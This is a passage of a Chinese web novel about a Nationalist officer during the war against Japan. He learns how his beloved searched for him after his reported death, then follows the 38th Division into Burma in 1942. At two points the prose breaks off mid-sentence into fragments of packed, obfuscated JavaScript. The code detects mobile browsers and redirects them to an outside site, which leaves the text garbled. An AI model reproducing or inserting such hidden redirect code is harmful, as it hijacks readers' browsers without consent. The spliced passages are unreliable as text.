“之秋是急事,加上有车在等,走得匆忙。” “急事?走得匆忙?这是何等重大军情,连早饭都没空吃?” 张薇一听心说坏了,梦芸这是想多了,或是认为因为自己的缘故,我才没吃梦芸买的早餐。 那一刻,张薇真忍不住想告诉梦芸这背后的一切,可是她能说些什么? 说我准备赴死,拿出我的诀别书?梦芸看到了,会发生什么?如果这样,岂不是负我所托?与其让两个人天天提心吊胆,还不如自己一人独自承受。既然产生了误会,那就先存着,等我回来;若是回不来,也许梦芸因此真的可以忘掉我了。 张薇强忍着眼中的泪水,转过身来,故作正色的说着:“梦芸,大战在即,国事为重,工作为重,伤员为重,这个你可晓得?” 梦芸慢慢的转过身去,边走边无力的说着:“国事为重,工作为重,伤员为重,这个梦芸还是有分寸的。” 张薇待梦芸走后,终于忍不住趴在桌上小声抽噎起来。 看着梦芸伤心离去的背影,张薇知道她终于初步完成了我的托付,按照我的意思,在我和梦芸之间打下了一个楔子。这个误会的存在,也许能冲淡万一我真不能回来的痛苦。但张薇的痛苦,又有谁能体会? 从张薇的述说中,这才知我真是愧对她了。 接下来几天,张薇和梦芸两人都装着没事一般正常的工作。 梦芸从医院门房那知道我是不到7点10分就乘车离开了医院,她一度还以为我是心里有愧而匆匆离去,虽然她隐约觉得似乎哪儿有些不对,但却不明所以;而张薇在紧张工作之余,时时惦记着鲁西的战况。到了十六日,接到第五战区司令长官部放弃徐州、五路突围的军令后,张薇便知我身陷死地,却因鲁西彼时归属第一战区,加上菏泽失守,迟迟没有我的消息。 在揪心的等待和无奈中,张薇带上梦芸和战地医院一同成功突围,并一同到了武汉,听说在梦芸兄长的努力下,梦芸父母辗转数月后也撤往武汉。 待国民政府在武汉为李将军隆重举办追悼会后,张薇大体知道了菏泽之战的经过;六月初又得到消息,突围官兵确认,那日巷战中我“壮烈殉国”。 张薇当时就傻了!心情一度面临崩溃。 她依着我的嘱托,将我的诀别书亲自送往汉口我的家中。 从我家出来后,张薇实在无法忍受心中的悲痛,把自己灌醉了。待她回到宿舍,梦芸见张薇醉得不成样子,一个晚上在床头守着,而正是这个晚上,梦芸从张薇的醉话中知道了大部分真相。 到了第二天中午,待张薇完全清醒后,梦芸问起了鲁西。 “薇姐,我昨晚梦见之秋了,梦见他流了好多血,好无助的。” 张薇听了一惊,急忙转出一幅若无其事的样子回应道:“梦芸,你别瞎说,之秋和他们处长一同从徐州突围的。他,他也来到武汉,只是他又要出远门了,不知道什么才能回来。真的,我没骗你,我昨天还见到他了。” “是吗?薇姐?那您昨天怎么就喝醉了呢?” “我这是,这是因为之秋要出远门,心里难受,酒便喝多了。”张薇勉强挤出一个笑容,对着梦芸说:“梦芸,对不起哈,之秋,之秋他还是选择了我。要不,他昨天怎么和我见面,不和你见面呢?梦芸,你还是忘了之秋吧!” “薇姐,我明白之秋的选择。之秋这是要去鲁西吧,是去菏泽吗?” 张薇一听冷汗都出来了。“梦芸,你从哪里听来的?菏泽不是被日本人占了?没听说要反攻鲁西呀。” “哦,是吗?薇姐?您是因为之秋出远门不回来了心里难受,还是之秋给您留了诀别书了,所以昨晚才把自己灌醉了?” 张薇一下就明白了,应该是自己昨晚酒后说了什么,把头埋进了枕头里,失声哭起来。“梦芸,你忘了之秋吧,你忘了他呀!” 梦芸咬着自己的嘴唇,想努力忍着,最终也一度哽咽起来。 “薇姐,我的好姐姐!您别再一个人强撑了,别再瞒着了!是梦芸不好,梦芸错怪您和之秋了!您昨夜酒后说了好多,好多,梦芸已基本知晓了!那日之秋匆匆前往医院,是托您送诀别书的,之秋用小时候过家家的方式和您做生死告别,然后又因军情紧迫,无暇和梦芸解释清楚,梦芸却被猪油蒙了心,错怪您和之秋了!梦芸知道,之秋是出大事了!薇姐,梦芸在这求您了,之秋到底怎么了?求求您,给句实话,好不好?” 张薇再也忍不住了,起身紧紧的抱着梦芸,颤抖的说道:“梦芸,我的好妹妹!是姐不对,姐不该瞒着你,之秋,之秋,他回不来了!他的荣哀状,应该也快到家了!梦芸,梦芸,你这是怎么啦?你别吓着姐姐!” 张薇一看梦芸晕过去了,急忙又掐人中又扎针什么的,好一会儿,梦芸才幽幽醒过来,两眼直溜溜的看着张薇,那泪水就如泉涌一般;又过了一会,“哇”的一声,大哭起来。 两人便紧紧抱在一起,痛哭了好一会儿。 “薇姐,您能告诉我之秋是怎么牺牲的吗?” “梦芸妹妹,之秋是好样的。听说菏泽城破之时,应该就是十四日下午,我军众将士做最后冲锋。在巷战中,之秋和几个战士一道在一栋小楼上狙击敌人,没想到遇上小鬼子的坦克,把小楼轰塌。之秋他,他和那几位战士就一同殉国了!现在连尸首都不知埋在哪里!还有,还有,听说之秋在决死冲杀之前,随口念了一首诗,就头也不回的冲进大雨中。” “念了一首诗?” “黑云压孤城,热血铸黄昏。舍生杀倭寇,无愧华夏魂!” “无愧华夏魂?之秋你这作的是绝命诗么?”梦芸听了,又忍不住大哭起来:“之秋呀!你怎么就这样去了呢!那几天我老是心神不定的,原来是你去了!之秋,芸儿不好!芸儿不该怀疑你的!芸儿错了!错了!之秋,你能宽恕芸儿么?芸儿恨不能和你在一起,芸儿好想你呀!” 张薇无比心酸,生怕梦芸作出什么事来,只能不停的安慰。 又过了好久,梦芸才缓过神来,喃喃的问道:“薇姐,那日之秋走时,还说了什么?” 张薇心想事已至此,还是全说了吧,希望梦芸能尽早从悲痛中走出来。 “之秋说,若他回不来,要我们好好的活下去。” “要我们好好活下去?可是他却先去了呀......他还说了什么?” “之秋,之秋让你忘了他,他说你还年轻,忘了他,好嫁人!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616963|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “之秋啊之秋!您永远是芸儿的之秋!”梦芸听了又再度痛哭起来。 “梦芸,别哭了,别哭了!”张薇一边劝说一边泪流满面,“梦芸,我们要好好的工作,多救一些伤员,早一天把日本鬼子赶出去!到时候姐一定陪你一起去菏泽,去寻之秋,去寻那坟茔,一同上香,好么?” 张薇也不知如何安慰梦芸了。据她所说,她那时唯一的想法便是哪怕只寻到我的葬身之地,祭扫一番也好;没曾想就这么一个简单的愿望,成为她和梦芸一道走过那段悲伤时日的精神支柱。 张薇告诉我,后来有好些日子,在傍晚时分,只要梦芸有空,就能听到她用不知从哪来的口琴,反复吹奏着一支曲子。张薇说那曲子是《送别》。 当我听到这时,完全是心如刀割的感觉。脑海里便浮现那日午后,在运河边,梦芸唱着《送别》,还有那泪光闪动的样子。 芸儿,你这是记着之秋所说的,以此来祭奠之秋么? 芸儿! 我的好芸儿!之秋有爱如斯,不负此生!之秋已从战场生还,可是你如今在哪里?你怎么会好端端的离开武汉去寻我呢? 张薇看出我的疑惑,继续述说着往事。、 到了那年八月份,张薇从一个军统伤员那听说了一个消息,说是小鬼子曾在鲁西一带搜寻国军受伤军官。据说起因是国军徐州撤退时做得很好,徐州只是一座空城,小鬼子连一个上尉级别的军官都未抓到,更别说校级以上的,小鬼子便恼羞成怒;听说之所以在鲁西,是因为有汉奸告密,说有战区司令长官部的军官在菏泽突围时重伤被百姓所救,结果还是一无所获。听说后边有了数次交火,其中死了好几个□□,此后再无消息,军统方面也一时无法核实。 我听了便明白了,当初幸亏有王老师他们,要不我真可能落入敌手。 张薇听到消息后便急忙找了梦芸,两姐妹坐下来一合计,此事涉及军统,还有□□,多半是真的;而那个重伤军官很可能是我。因此前张薇曾听我说过鲁西那一带已无兵可援,就想所谓战区司令长官部的军官去那里似乎不合常理,而我那时以军令部下参谋身份前往鲁西巡查黄河沿线防务,该是汉奸不知情弄错了;这么说来我可能还活着,若被□□救了,暂时失联甚为可能。至于我的荣哀状,那是以此前确认的消息为准。 两姐妹一想到这个可能,顿时就激动万分,梦芸一度就要去寻我,被张薇苦苦劝下,毕竟那时武汉会战正酣,鲁西一带已落入敌手,若我真活着,该是隐藏在某地秘密养伤,如何寻得?若贸然前行容易枉送了性命。 张薇说自那以后梦芸整个精气神都不一样了,每天忙碌而又充实。 武汉会战后,两姐妹又随医院撤往重庆。 在撤往重庆的路上,张薇见梦芸情绪低落,一问之下,说是离我越来越远,才知梦芸始终未放下寻我的想法。 到了重庆后,梦芸终于和其兄长联系上了,并在年底辞去了医院帮忙的工作,后听说是在某个报社找到一份薪水很低的差事。张薇想这或是梦芸在为寻我做准备吧,只为有朝一日可以随时踏上寻我的路程。 张薇清楚的记得,最后一次见到梦芸是民国二十八年二月十七,除夕前夜。 晚饭后梦芸兴冲冲来找张薇,一见面就说:“薇姐,有之秋的消息了!” 张薇一听自是大喜:“好妹妹,快说与姐姐听听。” “是这样的。到了重庆之后,小妹请家兄帮忙寻寻之秋,都说苍天不负有心人,真是如此呀!您看这封湖南来信,您看,就是这一段!” 梦芸兴奋的拿出一封信与张薇看,自己在一旁背读起来:“日前曾在新墙河南岸偶遇一国军军官,约二十八、九岁,身材、容貌酷似令妹所述,虽短短数面,但印象颇深,后听他人说起,此军官姓林或凌......” 张薇也是开心的读了两遍,但第二遍后就觉得似乎有哪些不对。 “好妹妹,你这信是哪来的?写信是何人?” “信是兄长数日前收到,今日午后他来重庆时带给我的。写信之人为家兄旧日同窗,亦是挚友,曾在岳阳政府里做事,现在长沙。家兄说此君记忆力甚好,素有过目不忘之称。” “姓林,二十八、九岁,身材、容貌酷似,薇姐,您说这不就是之秋么?真是天主保佑啊!”梦芸说着说着就兴奋的转起了圈子,笑容满面。 “之秋现在湖南,一定是的!他真是好样的,伤才养好就打起鬼子了。薇姐,小妹想好了,小妹要去寻他!小妹一定要去寻他!” 张薇反应过来。“等等,梦芸,你说此君可曾见过之秋的照片?” “之秋的照片?没有啊。之秋那倒是有小妹照片。那会儿初到南京,小妹曾想约之秋一道去照相的,可惜没有空,回来后便独自去照了,第二回去南京时就把照片送给之秋了。” 梦芸说着说着,脸上就有幸福的红晕。 20.确切消息 张薇听了心说不好,那位凭梦芸描述寻人,手中并无之秋照片,会不会只是貌似之人呢?又把那段话读了一遍,便发现了疑点,有些为难的提醒道:“梦芸,信上没有明确之秋的名字,只是说此军官姓林或凌。” “这个没问题呀,这位兄长在政府上做事,不知军队里的军官全名,很正常的,信上不也是说林么?” “好妹妹,姐姐这只是有些担心。” “担心什么?担心认错人呀?小妹也曾想过,但年龄、身材、容貌都可以对上,而且姓什么读音也对上了,这天底下哪有那么巧的事呢?再说,我们此前不也是认为之秋还在人世吗?” “所以?”张薇小心的问到。 “所以小妹想好了,小妹这就去寻之秋,尽快去寻找他!” “梦芸,好妹妹,这事姐姐还是有些疑惑的。若从养伤来看,归队时间倒是差不多的。可是之秋当初去的是鲁西,归一战区,我们是随五战区一同撤退的。从鲁西往南,那一带有黄泛区,若沿运河南下,沿途一带有不少地方已落入敌手;若真是之秋,他多半该出现在五战区,也就是湖北这一带呀,怎么会出现在湖南呢?” “我的好姐姐,湖南湖北中间不是有个洞庭湖么?洞庭湖边上不是有个衔远山,吞长江的岳阳楼吗?小妹看了地图,那个新墙河就在岳阳呀,所以之秋出现在湖南,完全可能的。” “可是梦芸,那也只是可能呀!” “所以小妹更要去寻他了!”梦芸说着说着,眼圈就有些红了。 “薇姐,小妹不想再向上回一样,和之秋多说几句话的机会都没有!薇姐,您知道吗?当初听到之秋殉国的消息,小妹我一度连寻死都想过,还是您说要去之秋坟前祭扫,才让小妹有了继续活下去的勇气!后听说之秋可能活着,小妹有多开心!小妹就想,此生若有之秋确切的消息,一定会去寻他,不管是山高路远,还是天南海北,不管要走多少路,吃多少苦,小妹全不在乎。若寻着了,小妹要告诉他,之秋,您的芸儿来了,芸儿要和您在一起,这辈子,没有什么能再把我们俩分开!” “梦芸,我的好妹妹!此事还是从长计议为好,你这样一个人去寻之秋,太难了!我这边也托人去打听,若有确实消息,出发也不迟呀!” 梦芸听了,神情颇为酸楚的说道:“薇姐,这样慢慢去寻,要何年何月?现在有了消息,有兄长的同学帮忙,小妹还有做过救护的经历,找些工作也不难,薇姐您大可放心;小妹实在不想等下去了。薇姐,您知道吗?小妹我为何要辞去医院帮忙的工作?” “这个不知,姐姐想或是你早有打算有朝一日去寻之秋?在医院工作,自是不太方便。” “薇姐,这是一方面。辞职前两天,小妹做了一个恶梦。” “恶梦?什么恶梦?” “小妹梦到抗战胜利了,然后在人群中就遇到了之秋,那时好开心呀!之秋带着芸儿唱着,跳着,不知怎么的就到了烈士陵园,然后就看到一个墓碑上赫然刻着之秋的姓名,然后之秋就不见了。” 梦芸说着说着,眼泪就掉了下来。 “梦芸!”张薇听了再也忍不住,紧紧搂住了她,“我的傻妹妹,梦里的事情多是反的呀,之秋现在还活着,只是我们不知他在哪里罢了。” “薇姐,小妹也知梦里的事情不可当真,可是小妹真怕梦里的事情哪一天就变成现实。您说之秋为了国事,不惜以身犯险;两湖一带现在不就是前线?您说之秋会不会再去拼杀?小妹再也不想等下去了,真怕再也见不到之秋了!小妹愿意去前线陪着之秋,若能寻着,见上一面,小妹便此生无憾了!” “梦芸,既然如此,你若真要去寻,姐姐我不便拦你;但你要答应姐姐一事,若寻不着,一定回重庆来,如此可好?” “这个小妹答应便是。” 梦芸虽已答应,张薇却觉无奈;无意中看到墙上的日历,忽然有了想法,权当缓兵之计吧。 “梦芸!姐姐是这样想的,若之秋已经归队,他该会和家里联系吧,说不定此时便有家信在路上?后天就是正月初一了,姐姐找个时间去之秋家拜年,顺便打探些消息,若有确切地址,你凭此再定行程岂不更好?” “这个让小妹想想......薇姐,之秋若暂未给家中来信,或是暂不知家中地址,那又如何?毕竟他们家也是从汉口迁过来的。” “这个也有可能,不过探探消息总是对的,若暂无消息,再定行程便是了。春节临近,不差这几天的。” 张薇说她原本想先稳住梦芸,再想办法。春节虽不放假,又逢国民政府组织献金活动,号召民众献出哪怕是微薄的资金来支援前方将士抗战;张薇倒是抽空上我家拜年了,见了我父母,却未听到任何消息;至于我可能还在人世,张薇思索再三终究未提,一来这只是她和梦芸的猜测,若错了又当如何?二是在未有确切消息之前,她不敢也不愿因此再让我父母在大过年的时候伤心了。 事后张薇相当的纠结,没有我的消息,或是她们猜错了?我若真活着,归队后自会设法联系家中,要获得家中新地址自不是难事。 张薇忽然发现,她有些不知如何面对梦芸了。 到了二十二日中午时分,张薇接到医院门房转过来的一封信,信为梦芸所留,只有区区数字,写的是薇姐,梦芸已启程寻知秋,勿念。祝好运! 此后张薇便再无梦芸的消息。 事情经过原来是这样! 算算时间,梦芸若是多等上半个月,就真能收到我还在人世的消息了。 真是造化弄人呀!我在湖北呆了一年多,梦芸应该是去湖南寻我,我们之间就隔着一江一湖!可是我从年前七月底开始托人在湖南一带寻梦芸,却没有任何消息,而且接下来国军发动冬季反攻,湖南一带也战火四起,梦芸该不会遇到什么事吧? 想想就让人不寒而栗! 问起曾见过酷似我之人那位兄台,梦芸去湖南该找过他吧,张薇却不知其姓名,只依稀记得那封信的落款中似乎是什么平。毕竟当初没有通读,她的关注重点只是那一小段文字。 问张薇可知梦芸家人状况,梦芸应该会和其家人联系吧,张薇也不知具体是什么情况,梦芸很少说起。只知他们家到武汉没多久又往西南走了,云贵湘一带都有可能;倒是其兄长可能在昆明,但不确定,梦芸只是曾说过他哥从昆明来渝的。 这下真让我手足无措了。芸儿,你究竟在哪里呢? 昆明?若是梦芸到湖南寻我不得,会不会去昆明投兄长?可其兄长真在昆明吗?还是在其他什么地方?他早年也曾留学日本,工作会不会与对日方面有关?若能找到他,不是就能知道梦芸的下落? 可是梦芸兄长我和张薇都没见过,只知一个姓名,战乱之下要寻他也是大海捞针。但不管怎样,这却是多了一条思路! 接下来的时局可以说是一团糟。 首先是宜昌的失守,让国土防卫捉襟见肘,毕竟国军能打的部队基本上拼得差不多了,而重庆彻底暴露在日本的轰炸机下。那不时拉响的防空警报,敲打着重庆每一个紧绷的心脏,说全民士气低落也不为过。三年的战争让国库基本损耗一空,物价飞涨,农业整体收成又很差,经济几乎崩盘。加上欧战法国投降,九月份德意日三国在柏林结盟,真有些让人看不到未来的感觉;甚至有不少人信了汪伪政府的曲线救国,悲观的情绪在空气中一度蔓延。唯有共产党旗下的十八集团军从八月下旬的正太路破击战开始,组织了为期数月的“百团大战”,倒是成为那个寒冷冬季中不少国人心中的烛火。 转眼到了民国三十年四月,苏联和日本签订了《苏日中立条约》之后,苏联对华援助锐减,我们失去了抗战物资的一个重要来源。此前日本已切断香港到韶关的运输线,攻占了雷州半岛和汕头、潮州,当月又占了福州和诸暨,我国海上通道被完全封锁;另一方面,日军为切断滇缅公路,对澜沧江上的功果桥和怒江上的惠通桥反复不断地进行重点轰炸,如何保证滇缅公路这条唯一畅通的援华通道,也就成为军令部工作及计划中的重中之重。 在那段时间内,我多次往返于昆明和重庆之间,甚至沿滇缅公路去了一趟缅甸,也结识了少新朋友,包括好些南洋华侨机工回国服务团的司机。 只是梦芸依旧没有消息,他兄长也寻不到,让我相当的苦闷。白天还好,可以用拼命的工作来填充自己,可每每到了夜深人静的时候,我常会感到莫名的空虚和担忧,只能对着梦芸的相片说上几句,期待梦里的相见。 六月五日下午6点多,我刚回到重庆不久,就听到空袭警报长长响起,不用说,又是日机来轰炸了。只是没想到这次日机空袭时间特别久,从晚间9点多开始,持续了将近五个小时。第二天早上就听说大隧道防空洞那发生大惨剧,十八梯 ,石灰市,还有演武厅洞三个大洞,因窒息挤压而惨死市民近万人;尤以十八梯死亡人员最多,光搬运尸体就花了一个昼夜。 关于那大隧道,因处里有同事去巡查过,我便略知一二。 大隧道很长,中间居然没有通风井,也无排水沟,通风照明不足;工程施工中想必是充满了贪污腐败,此番日机超长时间轰炸固是起因,但其中人祸才是致命! 后来听说,参加抢救的士兵及防护团一众人员视生命如儿戏,一些未死的,被他们拖死,或拖断手脚,或压上尸体活活压死!还有些人趁火打劫,从尸身上搜取首饰、 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美国人动作很快,他们需要中国来消耗、牵制日本陆军,避免陆军主力涌入东南亚和太平洋;而日军一旦占领缅甸,控制滇缅路,援华物资就难以运入中国,抗战就难以维持,这对美国的全球战略极为不利,所以美国人便积极鼓励中国派兵入缅作战,我们准备的出国作战计划眼看着就成为现实! 二十三日,中英双方签订《共同防御滇缅路协定》。 二十六日,中英订立军事同盟,决定中国编组远征军赴缅甸支援英军对日作战。 到了民国三十一年二月,仰光危急,应英方请求,中国远征军第5、第6军在杜聿明长官统一指挥下,入缅援英作战。 三月中旬我出差昆明,住在原运输处的招待所里。 我没想到这一住,期盼已久的消息终于来了! 十七日午饭后,我正在房内休息,门房来了电话,说是有一位自称是南洋华侨机工团的刘先生,问我是否在?是否方便? 刘先生?不就是印尼那位归侨刘子初?他在滇缅公路上开卡车的,应该是拉货回到昆明。我们此前见过数面,挺聊得来,以兄相称,算得上是朋友了。 我便急忙出去见他,拉他到附近一小茶馆喝茶。 入座后才寒暄了几句,子初便笑着问我:“林兄,听说你在寻一位女性故友,可有此事?” 我听了顿时一个激灵,忙回道:“确有此事,怎么,刘兄你?” “说来也是有缘,去年十一月底,我在昆明遇着一位寻人的年轻女子,当时车队要出发,也并未在意;后来听其他师傅说是寻一位林姓军官,已来多次了,我当时还和他们开玩笑说该不是寻您的吧。上个月底,我在回国路上又见着她,正随着一队远征军行军,如今该是入缅多日了。” 寻人的年轻女子?林姓军官?远征军?缅甸?这是怎么回事? 子初见我颇为激动的样子,又笑着问道:“林兄,只是不知此女是否是您寻的那位,您可有照片,让我看看?” 我急忙掏出梦芸的相片,小心的递了过去,就觉得心中一阵狂跳,而且愈来愈快,似乎连跳动的声音都能听见。 子初拿起照片反复端详一会儿,点点头说:“应该就是她。” “刘兄,您确定么?没有看错?” 我就觉得泪水在眼圈里打转,声音都有些颤抖了。 “笃定无疑。这脸型容貌,特别是这眼睛,我有印象,错不了。” 我长舒了一口气,仿佛要把这些年积在心中所有的压抑和不快都呼出来,然后转过身去,调整一下情绪。 芸儿!我终于找着你了,可是你怎么去了远征军呢? 我再转过身来,强忍着心中的激动,“刘兄,您好好和我说说。” 子初拍了拍我的肩膀,看得出他也是挺高兴的。 “上月底回来后,我四下问了问,才知数月前我们当中有位师傅见她寻人,听了描述后觉得您的容貌和有些相似,便和她说起您去年曾前往缅甸,当时是便装,说是考察;有一次回来后看到您穿军装,却不知姓名,只是有一段时间未见了,见她致谢后走了,便未放在心上。” “那后来呢?”我有些迫不及待了。 “听说打那以后她又来寻了几次,基本上是掐时间等我们回来的时候,队里这才传开来。今年来倒是没见着,直到见她在远征军。我便来寻您,问了才知您不是运输总局的,又没有您联系方式,这次回来碰碰运气,不曾想是对了。” 原来是这样!原来是这样!! 梦芸来寻我了! 而且终于有了确切的消息! 21.去远征军 送走子初后,我兴奋不已的回到宿舍。 我再次捋捋思路,大致推断出梦芸这两年来的经历: 芸儿到了湖南,应该是直接去了岳阳一带,不知是否见着那酷似我之军官?若见着了确认不是,她应该不会回重庆;甚至可能直接去鲁西。若去了鲁西,我托人在湖南四下寻她,自是找不着。 芸儿也可能继续在湖南寻我,多半是一城一地的寻我,可能还参加了长沙会战,如去医院帮忙。还有一种可能,芸儿回去见了父母,只是我和张薇不知他们住在何地,从武汉往西南走,云贵可能性大些;这样就可以解释为何长沙会战前找不着,会战后还找不着了。 其间芸儿可能联系过张薇,却不知彼时张薇已离开医院去苏联援华航空队服务,自是联系不上。 此后不知何故,芸儿来到昆明。或其兄长也在昆明? 去年六月份之前我数次到了昆明,或有心人见我曾在运输处出现,芸儿不知从哪儿得到消息,就到运输处寻我,当然这也可能只是巧合。 当芸儿听归侨司机说起酷似之人是一军官,且曾往缅甸考察时,想到我此前身份,这回应该确定那人是我,却不知我人在哪里;运输处那儿自不会轻易告诉他人我等真实身份,芸儿应该是听说我多出现在运输队回来之时,所以到了时间便来寻我,看看能不能撞上。 想到这里,我的心都快碎了。 从重庆到长沙,再从长沙到昆明,辗转数千里,只为寻我! 在这战火纷飞的日子,一个弱女子,只为心中念想,不辞辛苦的寻我! 芸儿!之秋此生有爱如你,无憾矣!当下之计,是尽快找着你! 美国参战及国府对日宣战后,芸儿从报上得知远征军一事,她应该是想到我曾往缅甸考察,从而推测我会不会也随远征军入缅?这样她投远征军就说得通了,以她的经历,很可能是参加中国红十字会下的战地救护队。 我急忙和处里联系,一问之下,我远征军200师正前往同古。 怎么办?怎么办?我是亦喜亦忧。 终于有了芸儿确切的消息,可她随远征军去了缅甸! 我上过战场,深知其中凶险,若在后方医院还好,到了前线救护,那就由不得自己。战场上瞬息万变,形势随时可能翻转,伤员和救护人员一道牺牲是常有的事,落入敌手惨遭屠戮也是屡见不鲜,若是女兵就更悲惨了。 我脑海中便浮现出多年前上海罗店所见一幕,心中顿时一阵拔凉,恨不得就立马直飞同古!我要去缅甸,一定要去缅甸! 我在房间里来回转圈,告诉自己要冷静下来。 对了,我和处里数位同事去过缅甸,考察过多地,远征军要和英军协同作战,我英文好,现在滇西不是还有一个66军作为战略预备队?其下那个新编38师不是直属军委会?近期处里不是风传要安排人员随队二期入缅? 对了!就是这样!我一定要争取,就和66军一同入缅! 上班后我急忙联系了处长,说了我的想法和优势,有些话当然不能说。 处长开始时还说要考虑考虑,后听我说这是和英军并肩作战,还有英国飞机助阵,最终还是同意了。 出发之前,我回了一趟重庆家中。 母亲听说我要出境作战,自是有些不舍,父亲倒是挺看得开,晚饭后把我一个人叫去了书房。 父亲让人上了清茶,寒暄几句后便直奔主题。 “秋儿,66军此时入缅,是迫于无奈啊!” “父亲明鉴,您虽不问政事,但对时局把握还是如此清晰。” “哦?秋儿说来听听。” “自我远征军二月中入缅以来,原先计划是先头部队在同古及其以南地区阻敌前进,主力集结于并宾文那附近与右翼英缅军协力会战,击破当面之敌后收复缅南,但未曾想英国人如此拉胯,自三月八日丢了仰光之后,兵无斗志,一路狂奔撤向印度,目前我军正在同古与敌激战,形势已不容乐观,66军作为预备队,不得不发。” “那秋儿觉得英国人是何打算?” “依孩儿愚见,英国人这是想让我军为其垫背,掩护他们逃出生天。” 父亲听了赞许的点了点头,微笑过后却猛然瞪我一眼,直直问道:“既然如此,吾儿为何还要入缅?”声音不大,却有些严厉。 父亲应该是一眼看透,我便毫不掩饰。“大则为滇缅公路,小则为寻人。” “哦?那洪小姐可是已然入缅?” 见父亲神色缓和许多,我就觉得心头一热,便把子初所说之事告知父亲。 “如此说来,这洪小姐也是重情重义之人,当得起吾儿为之再上战场。只是秋儿可知她现在何处?” “这却是不知,孩儿已托人去查,梦芸不在入缅国军名册内,听说有多支红十字救护队随同入缅,她当在其中。” 父亲沉默片刻,轻叹一声之后说道:“秋儿此番随军入缅,万不可义气用事,为英国人拼命不值!为父别无他求,只望你能带着洪小姐平安归来。” “父亲!”看着他那日渐苍老的容颜,我一时激动得说不出话来。 三月二十七日,我随66军新38师全体官兵,乘汽车自昆明出发,沿滇缅公路西行,于四月三日到达缅北战略重镇腊戍,接手机场防务;八日新38师奉命开进缅甸古都曼德勒,接手城防。 这是小城离别以来,我第一次和芸儿这么近,就在同一个战区内!只是我不知她现在是跟随第5军还是第6军。 彼时第5军已撤出同古,向东北平满纳一带转移,在中线;而第6军在景栋到垒固、东枝一带,是东线;而我所在位置是西线。 曼德勒因日机轰炸和缅人纵火,早已是到处断垣残壁,人烟冷落;所幸新38师孙立人师长已被委员长任命为曼德勒卫戍司令,便发布告安定人心,又派政工四下宣传、救济难民,动员缅人回城;各部队在构筑防御工事之余掩埋尸体、清扫街道,恢复交通,曼德勒终于恢复了稳定。 英军继续溃退,一个月时间后撤近500公里。四月十四日,英军放弃空军基地马格威,英缅第1师向仁安羌撤退。仁安羌位于曼德勒西南250公里处,是缅甸大油田,日军早就垂涎三尺,力图尽快夺取。 十五日,英军炸毁仁安羌油田,日军第33师团行动迅速,以两个联队兵力扑向仁安羌并抢占了宾河大桥,致使英第1师及战车营陷入重围。 十六日下午,孙师长接到救援仁安羌命令。虽然我们当中好些人对英国人百年前侵华始终刻骨铭心,但彼时他们是盟军,我们必须救。 次日凌晨,孙师长下令113团先抢占肯耶,作为主攻;112团赶赴纳貌,接应英17师,侧击仁安羌,牵制日军。孙师长还将计划通知了英军第1军团长史林姆将军,并请斯林姆派坦克、炮兵支援113团作战。 下午14时,前方传来好消息,我113团前卫在肯耶设伏诱敌,首战告捷。 师指挥所就设在肯耶东侧小山上,英军史林姆将军和韦尔斯上校来访,听闻我们首胜,立即要求孙师长下令113团全力进攻仁安羌以救英军。孙师长相当清醒,他告诉英国人敌众我寡,只能智取;并请史林姆将军设法鼓励英军务必坚守待援,万不可投降。 十八日拂晓113团夺回宾河大桥,但因南岸日军火力猛烈,进攻受挫。 英1师师长斯考特无线电话向孙师长求援。孙师长请英军务必坚持最后一日,保证次日下午6点前将英军解救出围,哪怕战至最后一人也一定救英军出围!史林姆将军闻之大为感动,视为君子协定,并和孙师长紧握双手。 在孙师长亲自指挥下,113团和英军坦克及若干门山炮于19日拂晓时由宾河大桥之合老渡口成功渡河,随后我各突击队突入敌阵,反复肉搏,战至下午三时,日军溃败,丢下死尸1200多具。此战我军战死3营长张琦以下204人,伤318人,俘敌船3艘、汽车30多辆,解救英军官兵7000多人,另有英美传教士、记者、战俘等500余人,史称“仁安羌大捷”。 新38师首战大捷,我们一个仅800多战斗兵员之步兵团,直接打穿人数逾万、装备精良的两个日军步兵联队,打出了军威,打出了国威! 那个下午大家格外的兴奋!我清楚的记得,那些脱险的英国人疯狂的和我们拥抱,个个热泪盈眶,放声狂呼。 但仁安羌一战却未改变缅甸战局。 由于英军放弃防线,四月二十日,日军主力第18师团从泰缅边境斜插而入,二十九日拿下腊戌。盟军计划中的曼德勒会战破产,我远征军后路被截断,滇缅公路和云南已在日军刀锋之下!彼时军委会与战区美军总司令史迪威矛盾也开始爆发,英军继续向西撤往印度,我远征军副司令杜聿明长官拒绝史迪威撤往印度的命令,单方面决定率军撤退回国。 五月七日,日军占领密□□,十日占领云南腾冲,我远征军经滇缅公路回国已无多大可能,杜长官命令各部向西北经胡康河谷,也就是世人常说的野人山进入云南,并下令新第38师继续殿后。 野人山?当我们听到这撤退路线时,不由心中一惊。 那一带是方圆约500公里原始森林,没有道路,人烟稀少,若数万大军进入,补给从哪里来?一旦进入茂密的原始森林,终日难见阳光,那是蚂蟥蚊虫、毒蛇猛兽的天下,电台没有信号是常事,而且雨季即将来临,如何走得? 还好孙师长审时度势,直接率部向西突围撤往印度,五月二十四日安全抵达印度英帕尔,沿途还救助了上千难民和盟军士兵。 谁知驻印英军居然要我们解除武装,以难民身份进入印度!孙师长大怒,即令部队准备战斗,恰逢英军第1师长正在该地治疗,闻之我们到来,告知英军此乃善战之师,英军指挥官到我们驻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625109|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地一看,军容严整,枪炮具在,不似溃散之英军衣衫褴褛,空手狂奔,方才肃然起敬。 